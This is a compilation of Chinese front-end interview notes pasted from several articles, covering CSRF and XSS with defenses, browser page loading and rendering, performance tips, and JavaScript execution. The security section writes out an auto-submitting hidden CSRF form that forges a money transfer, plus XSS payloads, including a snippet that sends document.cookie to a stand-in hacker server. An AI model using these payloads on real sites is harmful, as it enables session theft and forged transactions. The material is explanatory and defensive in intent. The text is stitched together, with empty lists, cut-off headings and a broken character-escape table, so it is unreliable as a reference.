、CSRF
CSRF 全称叫做,跨站请求伪造(Cross—Site Request Forgery),顾名思义,攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。对于服务器而言,判断请求对象是否是你本身的方法限于提供身份认证的cookie、秘钥等,无法去识别个体。
1.原理介绍及流程分析
以下,举例模拟一个被CSRF攻击影响的例子:
①用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
②在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
③用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
④网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
⑤浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
更为具体的举例,伪造请求的方式一般有如下几种方式:
// 页面中有一个超链接,诱导用户进行点击
<a href="https://aaa.com?userid=3&money=9999">诱导信息</a>
// 直接在页面上使用Img进行get请求
<img src="https://aaa.com?userid=3&money=9999"/>
// 或使用表单进行提交
<iframe name="heihei" style="display:none;"></iframe>
<form action="https://aaa.com?userid=3&money=9999" method="post" target="heihei" >
<input name="userid" value="3" type="hidden" />
<input name="money" value="9999" type="hidden" />
</form>
<script>
window.onload = function(){
document.forms[0].submit();
}
</script>
2.CSRF漏洞检测
检测CSRF漏洞是一项比较繁琐的工作,最简单的方法就是抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞。
当然我们也可以试着利用根据来进行漏洞检测,随着对CSRF漏洞研究的不断深入,不断涌现出一些专门针对CSRF漏洞进行检测的工具,如CSRFTester,CSRF Request Builder等。
以CSRFTester工具为例,CSRF漏洞检测工具的测试原理如下:使用CSRFTester进行测试时,首先需要抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在CSRFTester中修改相应的表单等信息,重新提交,这相当于一次伪造客户端请求。如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。
3.CSRF防御原理
根据以上的方式我们能显而易见看到,问题就出在“访问网站B”和“携带Cookie信息”上。针对CRSF攻击,CSRF防护的一个重点是要对“用户凭证”进行校验处理,通过这种机制可以对用户的请求是合法进行判断,判断是不是跨站攻击的行为。因为“用户凭证”是Cookie中存储的,所以防护机制的处理对像也是Cookie的数据,我们要在防护的数据中加入签名校验,并对数据进行生命周期时间管理,就是数据过期管理。
由此得出,CSRF防护的一个重点是要对“用户凭证”进行校验处理,通过这种机制可以对用户的请求是合法进行判断,判断是不是跨站攻击的行为。因为“用户凭证”是Cookie中存储的,所以防护机制的处理对像也是Cookie的数据,我们要在防护的数据中加入签名校验,并对数据进行生命周期时间管理,就是数据过期管理。
①防御思路
针对防止CSRF的发生,创建Token处理机制,Token数据结构与时间、加密签名直接相关, 这么设计的的目的如上所说,是给“身份凭证”加上时间生存周期管理和签名校验管理,如果的凭证被人拿到了, 要先判断Token中的“签名”与时间戳是否都有效,再进行正常的业务处理, 这样通过对非法数据的校验过滤,来降低CSRF攻击的成功率。
②签名与时间戳防护处理流程
在token中加入上述方法中所描述的时间戳信息和签名信息:
-----------------------------------------------------------------------------
| msg | separator | signature |
-----------------------------------------------------------------------------
| key | timestamp | . | Base64(sha256(msg)) |
-----------------------------------------------------------------------------
token = base64(msg)格式化..base64(sha256("密锁", msg))
整个Token就是由被Base64的msg编码串+先256加密msg再进行Base64编码,两个串的内容结合。
③Token校验
在整个防御做法中,对于token的校验流程为:
二、XSS
XSS(跨站脚本攻击,Cross-site scripting,简称并不是 CSS,因为 CSS是 层叠样式表)是一种常见的 web 安全问题。XSS 攻击手段是允许恶意web用户将代码植入到提供给其它用户使用的页面中。从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。
1.XSS攻击类型区分
① 反射型
反射型 XSS攻击 通常是简单地把用户输入的数据“反射”给浏览器。黑客一般会诱使用户点击一个有恶意的链接,用户点击就会发起 XSS 攻击。反射型 XSS 攻击可以将 JavaScript 脚本插入到 HTML 节点中、HTML 属性中以及通过 JS 注入到 URL 或 HTML 文档中。
② 储存型
存储型 XSS攻击 这种攻击会把用户输入的数据存储到服务器中。例如在一个有 XSS 漏洞的博客网站,黑客写下一篇含有恶意 JavaScript 代码的文章,文章发布后,所有看了这篇博文的用户都会在他们的浏览器中执行恶意 JavaScript 代码。
③ DOM-based 型
注意: 这种类型的划分与以上两种类型划分方式不同,是按照Payload的位置划分
DOM-based 型XSS攻击 基于 DOM 的 XSS 攻击是指通过恶意脚本修改页面的 DOM 结构,是纯粹发生在客户端的攻击。DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞。
发起 XSS 攻击后,黑客写入的 JavaScript 代码就会执行,通过脚本可以控制用户的浏览器。一个常见的攻击手段是“Cookie 劫持”,cookie 中一般加密保存着当前用户的登录凭据,黑客可以通过恶意代码将用户的 cookie 发到自己的服务器上,然后就可以做到无密码登录上用户的账户。
2.实现XSS攻击的条件
①需要向web页面注入恶意代码;
②这些恶意代码能够被浏览器成功的执行。
3.会利用XSS攻击获取什么?
①窃取cookies,读取目标网站的cookie发送到黑客的服务器上,如下面的代码:
var i=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;
在此提到来自浏览器的自带防御,浏览器针对于这类问题的存在,对于DOM对象的访问会有自己的禁用方式,避免最基本的XSS注入。例如在旧版的IE8和IE8以下的版本都是可以被执行的,火狐也能执行代码,但火狐对其禁止访问DOM对象,所以在火狐下执行将会看到控制里抛出异常:document is not defined
②读取用户未公开的资料,如果:邮件列表或者内容、系统的客户资料,联系人列表等等,如代码
③篡改网页,进行钓鱼或者恶意传播
④网站重定向
4.XSS的防御
①具体举例: 注入转义
对于URL做解析时和发起get请求时都会需要读取URL携带的参数,如果将 url 中的参数直接插入到 DOM 中,这就有可能构成 XSS 攻击,攻击者利用这一漏洞,给其他用户发送一个有恶意的链接,用户就有可能中招。 如:
http://www.example/test.index?param=<script>alert('XSS')</script>
这个 URL 的 param 参数值并不是合理的,而是攻击者构建的。
再如: 一个超链接中的URL
<a href='http://www.xss.com?cookie='+document.cookie>
上述方式可以通过点击链接的方式注入XSS,去获取当前用户的Cookie。
②防御方式
③常见的xss攻击方法
<img src=“javascript:alert(‘xss’)”/>
(当然并不是所有的Web浏览器都支持Javascript伪协议,所以此类XSS攻击具有一定的局限性)
<img src=“javas cript:alert(/xss/);”/>
<img src=“#” onerror= “alert(1)”/>
当src错误的视乎就会执行onerror事件
Body {backgrund-image: url(“javascript:alert(‘xss’)”)}
<IMG SRC=“javaSCript: alert(/xss/);”/>
5.XSS攻击防御
原则:不相信客户输入的数据
注意:攻击代码不一定在<script></script>中
输入过滤,对用户提交的数据进行有效性验证,仅接受指定长度范围内并符合我们期望格式的的内容提交,阻止或者忽略除此外的其他任何数据。比如:电话号码必须是数字和中划线组成,而且要设定长度上限。过滤一些些常见的敏感字符,例如:< > ‘ “ & # \ javascript expression "onclick=" "onfocus";过滤或移除特殊的Html标签, 例如: <script>, <iframe> , < for <, > for >, " for;过滤JavaScript 事件的标签,例如 "onclick=", "onfocus" 等等。
输出编码,当需要将一个字符串输出到Web网页时,同时又不确定这个字符串中是否包括XSS特殊字符(如< > &‘”等),为了确保输出内容的完整性和正确性,可以使用编码(HTMLEncode)进行处理。
把变量输出到页面时要做好相关的编码转义工作,如要输出到 <script>中,可以进行JS编码;要输出到HTML内容或属性,则进行HTML编码处理。根据不同的语境采用不同的编码处理方式。
将重要的cookie标记为http only, 这样的话当浏览器向Web服务器发起请求的时就会带上cookie字段,但是在脚本中却不能访问这个cookie,这样就避免了XSS攻击利用JavaScript的document.cookie获取cookie:
原文:https://juejin.cn/post/6874730741989801997
eb 前端工程师写的页面要跑在浏览器里面,所以面试中也会出现很多跟浏览器相关的面试题目。
本小节会从浏览器的加载过程开始讲解,然后介绍如何进行性能优化,最后介绍下 Web 开发中常见的安全问题和预防。
可将加载过程和渲染过程分开说。回答问题的时候,关键要抓住核心的要点,把要点说全面,稍加解析即可,简明扼要不拖沓。
题目:浏览器从加载页面到渲染页面的过程
1. 加载过程
要点如下:
例如在浏览器输入https://test.com/timeline,然后经过 DNS 解析,juejin.im对应的 IP 是36.248.217.149(不同时间、地点对应的 IP 可能会不同)。然后浏览器向该 IP 发送 HTTP 请求。
server 端接收到 HTTP 请求,然后经过计算(向不同的用户推送不同的内容),返回 HTTP 请求,返回的内容如下:
其实就是一堆 HMTL 格式的字符串,因为只有 HTML 格式浏览器才能正确解析,这是 W3C 标准的要求。接下来就是浏览器的渲染过程。
2. 渲染过程
要点如下:
关于浏览器整个流程,百度的多益大神有更加详细的文章,推荐阅读下:《从输入 URL 到页面加载完成的过程中都发生了什么事情? 》。
性能优化的题目也是面试常考的,这类题目有很大的扩展性,能够扩展出来很多小细节,而且对个人的技术视野和业务能力有很大的挑战。这部分笔者会重点讲下常用的性能优化方案。
题目:总结前端性能优化的解决方案
1. 优化原则和方向
性能优化的原则是以更好的用户体验为标准,具体就是实现下面的目标:
优化的方向有两个:
2. 减少页面体积,提升网络加载
3. 优化页面渲染
1. 静态资源的压缩合并
如果不合并,每个都会走一遍之前介绍的请求过程
<script src="a.js"></script>
<script src="b.js"></script>
<script src="c.js"></script>
如果合并了,就只走一遍请求过程
<script src="abc.js"></script>
2. 静态资源缓存
通过链接名称控制缓存
<script src="abc_1.js"></script>
只有内容改变的时候,链接名称才会改变
<script src="abc_2.js"></script>
这个名称不用手动改,可通过前端构建工具根据文件内容,为文件名称添加 MD5 后缀。
3. 使用 CDN 让资源加载更快
CDN 会提供专业的加载优化方案,静态资源要尽量放在 CDN 上。例如:
<script src="https://cdn.bootcss.com/zepto/1.0rc1/zepto.min.js"></script>
4. 使用 SSR 后端渲染
可一次性输出 HTML 内容,不用在页面渲染完成之后,再通过 Ajax 加载数据、再渲染。例如使用 smarty、Vue SSR 等。
5. CSS 放前面,JS 放后面
上文讲述浏览器渲染过程时已经提过,不再赘述。
6. 懒加载
一开始先给为 src 赋值成一个通用的预览图,下拉时候再动态赋值成正式的图片。如下,preview.png是预览图片,比较小,加载很快,而且很多图片都共用这个preview.png,加载一次即可。待页面下拉,图片显示出来时,再去替换src为data-realsrc的值。
<img src="preview.png" data-realsrc="abc.png"/>
另外,这里为何要用data-开头的属性值?—— 所有 HTML 中自定义的属性,都应该用data-开头,因为data-开头的属性浏览器渲染的时候会忽略掉,提高渲染性能。
7. DOM 查询做缓存
两段代码做一下对比:
var pList = document.getElementsByTagName('p') // 只查询一个 DOM ,缓存在 pList 中了
var i
for (i = 0; i < pList.length; i++) {
}
var i
for (i = 0; i < document.getElementsByTagName('p').length; i++) { // 每次循环,都会查询 DOM ,耗费性能
}
总结:DOM 操作,无论查询还是修改,都是非常耗费性能的,应尽量减少。
8. 合并 DOM 插入
DOM 操作是非常耗费性能的,因此插入多个标签时,先插入 Fragment 然后再统一插入 DOM。
var listNode = document.getElementById('list')
// 要插入 10 个 li 标签
var frag = document.createDocumentFragment();
var x, li;
for(x = 0; x < 10; x++) {
li = document.createElement("li");
li.innerHTML = "List item " + x;
frag.appendChild(li); // 先放在 frag 中,最后一次性插入到 DOM 结构中。
}
listNode.appendChild(frag);
10. 事件节流
例如要在文字改变时触发一个 change 事件,通过 keyup 来监听。使用节流。
var textarea = document.getElementById('text')
var timeoutId
textarea.addEventListener('keyup', function () {
if (timeoutId) {
clearTimeout(timeoutId)
}
timeoutId = setTimeout(function () {
// 触发 change 事件
}, 100)
})
11. 尽早执行操作
window.addEventListener('load', function () {
// 页面的全部资源加载完才会执行,包括图片、视频等
})
document.addEventListener('DOMContentLoaded', function () {
// DOM 渲染完即可执行,此时图片、视频还可能没有加载完
})
12. 性能优化怎么做
上面提到的都是性能优化的单个点,性能优化项目具体实施起来,应该按照下面步骤推进:
性能优化是个长期的事情,不是一蹴而就的,应该本着先摸底、再分析、后优化的原则逐步来做。
题目:前端常见的安全问题有哪些?
1. XSS(Cross Site Scripting,跨站脚本攻击)
其实原理上就是黑客通过某种方式(发布文章、发布评论等)将一段特定的 JS 代码隐蔽地输入进去。然后别人再看这篇文章或者评论时,之前注入的这段 JS 代码就执行了。JS 代码一旦执行,那可就不受控制了,因为它跟网页原有的 JS 有同样的权限,例如可以获取 server 端数据、可以获取 cookie 等。于是,攻击就这样发生了。
XSS的危害
XSS 的危害相当大,如果页面可以随意执行别人不安全的 JS 代码,轻则会让页面错乱、功能缺失,重则会造成用户的信息泄露。
比如早些年社交网站经常爆出 XSS 蠕虫,通过发布的文章内插入 JS,用户访问了感染不安全 JS 注入的文章,会自动重新发布新的文章,这样的文章会通过推荐系统进入到每个用户的文章列表面前,很快就会造成大规模的感染。
还有利用获取 cookie 的方式,将 cookie 传入入侵者的服务器上,入侵者就可以模拟 cookie 登录网站,对用户的信息进行篡改。
XSS的预防
那么如何预防 XSS 攻击呢?—— 最根本的方式,就是对用户输入的内容进行验证和替换,需要替换的字符有:
& 替换为:&
< 替换为:<
> 替换为:>
” 替换为:"
‘ 替换为:'
/ 替换为:/
替换了这些字符之后,黑客输入的攻击代码就会失效,XSS 攻击将不会轻易发生。
除此之外,还可以通过对 cookie 进行较强的控制,比如对敏感的 cookie 增加http-only限制,让 JS 获取不到 cookie 的内容。
2. CSRF(Cross-site request forgery,跨站请求伪造)
CSRF 是借用了当前操作者的权限来偷偷地完成某个操作,而不是拿到用户的信息。
预防 CSRF 就是加入各个层级的权限验证,例如现在的购物网站,只要涉及现金交易,肯定要输入密码或者指纹才行。除此之外,敏感的接口使用POST请求而不是GET也是很重要的。
言
这个问题已经是老生常谈了,更是经常被作为面试的压轴题出现,网上也有很多文章,但最近闲的无聊,然后就自己做了一篇笔记,感觉比之前理解更透彻了。
这篇笔记是我这两天看了数十篇文章总结出来的,所以相对全面一点,但由于我是做前端的,所以会比较重点分析浏览器渲染页面那一部分,至于其他部分我会罗列出关键词,感兴趣的可以自行查阅.
注意:本文的步骤是建立在,请求的是一个简单的 HTTP 请求,没有 HTTPS、HTTP2、最简单的 DNS、没有代理、并且服务器没有任何问题的基础上,尽管这是不切实际的。
大致流程
一、URL 解析
地址解析:
首先判断你输入的是一个合法的 URL 还是一个待搜索的关键词,并且根据你输入的内容进行自动完成、字符编码等操作。
HSTS
由于安全隐患,会使用 HSTS 强制客户端使用 HTTPS 访问页面。详见:你所不知道的 HSTS[1]。
其他操作
浏览器还会进行一些额外的操作,比如安全检查、访问限制(之前国产浏览器限制 996.icu)。
检查缓存
二、DNS 查询
基本步骤
1. 浏览器缓存
浏览器会先检查是否在缓存中,没有则调用系统库函数进行查询。
2. 操作系统缓存
操作系统也有自己的 DNS缓存,但在这之前,会向检查域名是否存在本地的 Hosts 文件里,没有则向 DNS 服务器发送查询请求。
3. 路由器缓存
路由器也有自己的缓存。
4. ISP DNS 缓存
ISP DNS 就是在客户端电脑上设置的首选 DNS 服务器,它们在大多数情况下都会有缓存。
根域名服务器查询
在前面所有步骤没有缓存的情况下,本地 DNS 服务器会将请求转发到互联网上的根域,下面这个图很好的诠释了整个流程:
根域名服务器(维基百科)
需要注意的点
三、TCP 连接
TCP/IP 分为四层,在发送数据时,每层都要对数据进行封装:
1. 应用层:发送 HTTP 请求
在前面的步骤我们已经得到服务器的 IP 地址,浏览器会开始构造一个 HTTP 报文,其中包括:
其中需要注意的点:
2. 传输层:TCP 传输报文
传输层会发起一条到达服务器的 TCP 连接,为了方便传输,会对数据进行分割(以报文段为单位),并标记编号,方便服务器接受时能够准确地还原报文信息。
在建立连接前,会先进行 TCP 三次握手。
“关于 TCP/IP 三次握手,网上已经有很多段子和图片生动地描述了。相关知识点:
”
3. 网络层:IP协议查询Mac地址
将数据段打包,并加入源及目标的IP地址,并且负责寻找传输路线。
判断目标地址是否与当前地址处于同一网络中,是的话直接根据 Mac 地址发送,否则使用路由表查找下一跳地址,以及使用 ARP 协议查询它的 Mac 地址。
“注意:在 OSI 参考模型中 ARP 协议位于链路层,但在 TCP/IP 中,它位于网络层。”
4. 链路层:以太网协议
以太网协议
根据以太网协议将数据分为以“帧”为单位的数据包,每一帧分为两个部分:
Mac 地址
以太网规定了连入网络的所有设备都必须具备“网卡”接口,数据包都是从一块网卡传递到另一块网卡,网卡的地址就是 Mac 地址。每一个 Mac 地址都是独一无二的,具备了一对一的能力。
广播
发送数据的方法很原始,直接把数据通过 ARP 协议,向本网络的所有机器发送,接收方根据标头信息与自身 Mac 地址比较,一致就接受,否则丢弃。
注意:接收方回应是单播。
“相关知识点:
”
服务器接受请求
接受过程就是把以上步骤逆转过来,参见上图。
四、服务器处理请求
大致流程
HTTPD
最常见的 HTTPD 有 Linux 上常用的 Apache 和 Nginx,以及 Windows 上的 IIS。
它会监听得到的请求,然后开启一个子进程去处理这个请求。
处理请求
接受 TCP 报文后,会对连接进行处理,对HTTP协议进行解析(请求方法、域名、路径等),并且进行一些验证:
重定向
假如服务器配置了 HTTP 重定向,就会返回一个 301永久重定向响应,浏览器就会根据响应,重新发送 HTTP 请求(重新执行上面的过程)。
“关于更多:详见这篇文章[2]”
URL 重写
然后会查看 URL 重写规则,如果请求的文件是真实存在的,比如图片、html、css、js文件等,则会直接把这个文件返回。
否则服务器会按照规则把请求重写到 一个 REST 风格的 URL 上。
然后根据动态语言的脚本,来决定调用什么类型的动态文件解释器来处理这个请求。
以 PHP 语言的 MVC 框架举例,它首先会初始化一些环境的参数,根据 URL 由上到下地去匹配路由,然后让路由所定义的方法去处理请求。
五、浏览器接受响应
浏览器接收到来自服务器的响应资源后,会对资源进行分析。
首先查看 Response header,根据不同状态码做不同的事(比如上面提到的重定向)。
如果响应资源进行了压缩(比如 gzip),还需要进行解压。
然后,对响应资源做缓存。
接下来,根据响应资源里的 MIME[3] 类型去解析响应内容(比如 HTML、Image各有不同的解析方式)。
六、渲染页面
浏览器内核
不同的浏览器内核,渲染过程也不完全相同,但大致流程都差不多。
基本流程
6.1. HTML 解析
首先要知道浏览器解析是从上往下一行一行地解析的。
解析的过程可以分为四个步骤:
① 解码(encoding)
传输回来的其实都是一些二进制字节数据,浏览器需要根据文件指定编码(例如UTF-8)转换成字符串,也就是HTML 代码。
② 预解析(pre-parsing)
预解析做的事情是提前加载资源,减少处理时间,它会识别一些会请求资源的属性,比如img标签的src属性,并将这个请求加到请求队列中。
③ 符号化(Tokenization)
符号化是词法分析的过程,将输入解析成符号,HTML 符号包括,开始标签、结束标签、属性名和属性值。
它通过一个状态机去识别符号的状态,比如遇到<,>状态都会产生变化。
④ 构建树(tree construction)
“注意:符号化和构建树是并行操作的,也就是说只要解析到一个开始标签,就会创建一个 DOM 节点。”
在上一步符号化中,解析器获得这些标记,然后以合适的方法创建DOM对象并把这些符号插入到DOM对象中。
<html><head> <title>Web page parsing</title></head><body> <div> <h1>Web page parsing</h1> <p>This is an example Web page.</p> </div></body></html>
浏览器容错进制
你从来没有在浏览器看过类似”语法无效”的错误,这是因为浏览器去纠正错误的语法,然后继续工作。
事件
当整个解析的过程完成以后,浏览器会通过DOMContentLoaded事件来通知DOM解析完成。
6.2. CSS 解析
一旦浏览器下载了 CSS,CSS 解析器就会处理它遇到的任何 CSS,根据语法规范[4]解析出所有的 CSS 并进行标记化,然后我们得到一个规则表。
CSS 匹配规则
在匹配一个节点对应的 CSS 规则时,是按照从右到左的顺序的,例如:div p { font-size :14px }会先寻找所有的p标签然后判断它的父元素是否为div。
所以我们写 CSS 时,尽量用 id 和 class,千万不要过度层叠。
6.3. 渲染树
其实这就是一个 DOM 树和 CSS 规则树合并的过程。
“注意:渲染树会忽略那些不需要渲染的节点,比如设置了display:none的节点。”
计算
通过计算让任何尺寸值都减少到三个可能之一:auto、百分比、px,比如把rem转化为px。
级联
浏览器需要一种方法来确定哪些样式才真正需要应用到对应元素,所以它使用一个叫做specificity的公式,这个公式会通过:
然后得出一个权重值,取最高的那个。
渲染阻塞
当遇到一个script标签时,DOM 构建会被暂停,直至脚本完成执行,然后继续构建 DOM 树。
但如果 JS 依赖 CSS 样式,而它还没有被下载和构建时,浏览器就会延迟脚本执行,直至 CSS Rules 被构建。
所有我们知道:
为了避免这种情况,应该以下原则:
另外,如果要改变阻塞模式,可以使用 defer 与 async,详见:这篇文章[5]
6.4. 布局与绘制
确定渲染树种所有节点的几何属性,比如:位置、大小等等,最后输入一个盒子模型,它能精准地捕获到每个元素在屏幕内的准确位置与大小。
然后遍历渲染树,调用渲染器的 paint() 方法在屏幕上显示其内容。
6.5. 合并渲染层
把以上绘制的所有图片合并,最终输出一张图片。
6.6. 回流与重绘
回流(reflow)
当浏览器发现某个部分发现变化影响了布局时,需要倒回去重新渲染,会从html标签开始递归往下,重新计算位置和大小。
reflow基本是无法避免的,因为当你滑动一下鼠标、resize 窗口,页面就会产生变化。
重绘(repaint)
改变了某个元素的背景色、文字颜色等等不会影响周围元素的位置变化时,就会发生重绘。
每次重绘后,浏览器还需要合并渲染层并输出到屏幕上。
回流的成本要比重绘高很多,所以我们应该尽量避免产生回流。
比如:
6.7. JavaScript 编译执行
大致流程
可以分为三个阶段:
1. 词法分析
JS 脚本加载完毕后,会首先进入语法分析阶段,它首先会分析代码块的语法是否正确,不正确则抛出“语法错误”,停止执行。
几个步骤:
2. 预编译
JS 有三种运行环境:
每进入一个不同的运行环境都会创建一个对应的执行上下文,根据不同的上下文环境,形成一个函数调用栈,栈底永远是全局执行上下文,栈顶则永远是当前执行上下文。
创建执行上下文
创建执行上下文的过程中,主要做了以下三件事:
3. 执行
JS 线程
虽然 JS 是单线程的,但实际上参与工作的线程一共有四个:
“其中三个只是协助,只有 JS 引擎线程是真正执行的
”
注:浏览器对同一域名的并发连接数是有限的,通常为 6 个。
宏任务
分为:
微任务
微任务是ES6和Node环境下的,主要 API 有:Promise,process.nextTick。
微任务的执行在宏任务的同步任务之后,在异步任务之前。
代码例子
console.log('1'); // 宏任务 同步 setTimeout(function() { console.log('2'); // 宏任务 异步}) new Promise(function(resolve) { console.log('3'); // 宏任务 同步 resolve();}).then(function() { console.log('4') // 微任务}) console.log('5') // 宏任务 同步
以上代码输出顺序为:1,3,5,4,2
来源:4ark.me/post/b6c7c0a2.html,侵删
*请认真填写需求信息,我们会在24小时内与您取得联系。